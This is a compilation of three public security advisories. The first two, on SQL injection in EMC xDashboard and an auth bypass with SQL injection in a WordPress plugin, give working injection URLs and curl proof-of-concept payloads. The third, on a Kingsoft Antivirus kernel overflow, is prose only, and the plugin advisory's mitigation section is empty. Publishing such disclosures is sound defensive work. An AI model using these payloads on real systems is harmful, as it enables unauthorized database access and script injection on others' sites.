Title: EMC xDashboard - SQL Injection Vulnerability
|
||||
Author: Pawel Gocyla
|
||||
Date: 02 January 2018
|
||||
|
||||
CVE: CVE-2017-14960
|
||||
|
||||
|
||||
Affected Software:
|
||||
==================
|
||||
EMC xPression v4.5SP1 Patch 13
|
||||
Probably other versions are also vulnerable.
|
||||
|
||||
|
||||
SQL Injection Vulnerability:
|
||||
==============================
|
||||
This vulnerability allows an attacker to retrieve information from the
|
||||
database
|
||||
|
||||
Vulnerable parameter: "$model.jobHistoryId"
|
||||
|
||||
Exploit:
|
||||
|
||||
True Condition: https://[victim]:4000/xDashboard/html/jobhistory/
|
||||
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
|
||||
and 1=1
|
||||
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
|
||||
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
|
||||
and 1=2
|
||||
|
||||
Fix:
|
||||
====
|
||||
User input which is putted into sql queries should be properly filtred or
|
||||
sanitized

Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
|
||||
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
|
||||
Date: 26-Nov-17
|
||||
Exploit Author: Benjamin Lim
|
||||
Vendor Homepage: http://oturia.com/
|
||||
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
|
||||
Version: 3.4
|
||||
Tested on: Kali Linux 2.0
|
||||
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
|
||||
CVE : CVE-2018-3811 (SQL Injection)
|
||||
|
||||
|
||||
1. Product & Service Introduction:
|
||||
==================================
|
||||
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add
|
||||
Google Analytics tracking code as well as meta tag verification of
|
||||
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and
|
||||
has 9,000+ active installs.
|
||||
|
||||
2. Technical Details & Description:
|
||||
===================================
|
||||
Authentication Bypass vulnerability in the Smart Google Code Inserter
|
||||
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript
|
||||
or HTML code which runs on all pages served by Wordpress. The
|
||||
saveGoogleCode() function in smartgooglecode.php does not check if the
|
||||
current request is made by an authorized user, thus allowing any
|
||||
unauthenticated user to successfully update the inserted code.
|
||||
|
||||
SQL Injection vulnerability, when coupled with the Authentication Bypass
|
||||
vulnerability in the Smart Google Code Inserter plugin 3.4 allows
|
||||
unauthenticated attackers to execute SQL queries in the context of the
|
||||
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not
|
||||
use prepared statements and did not sanitize the $_POST["oId"] variable
|
||||
before passing it as input into the SQL query.
|
||||
|
||||
3. Proof of Concept (PoC):
|
||||
==========================
|
||||
|
||||
Code Insertion
|
||||
|
||||
curl -k -i --raw -X POST -d
|
||||
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"
|
||||
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
|
||||
localhost" -H "Content-Type: application/x-www-form-urlencoded"
|
||||
|
||||
SQL Injection
|
||||
|
||||
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
|
||||
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
|
||||
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
|
||||
localhost" -H "Content-Type: application/x-www-form-urlencoded"
|
||||
|
||||
4. Mitigation

||||

Vulnerability Summary
|
||||
The following advisory describes a kernel stack buffer overflow that leads to privilege escalation found in Kingsoft Antivirus/Internet Security 9+.
|
||||
|
||||
Kingsoft Antivirus “provides effective and efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan and protect your systems without any worrying. The comprehensive defender and anti-virus tools prevent and protect your computer from unwanted virus, worms, and Trojans.

|
||||
|
||||
Credit
|
||||
An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program
|
||||
|
||||
Vendor response
|
||||
We tried to contact Kingsoft since October 8 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerability.
|
||||
|
||||
Vulnerability details
|
||||
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security.
|
||||
|
||||
The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by either the kavfm.sys (anti-virus) or the KWatch3.sys (internet security) kernel driver.
|
||||
|
||||
The driver doesn’t properly validate user-supplied data which can result in a kernel stack buffer overflow.
|
||||
|
||||
An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
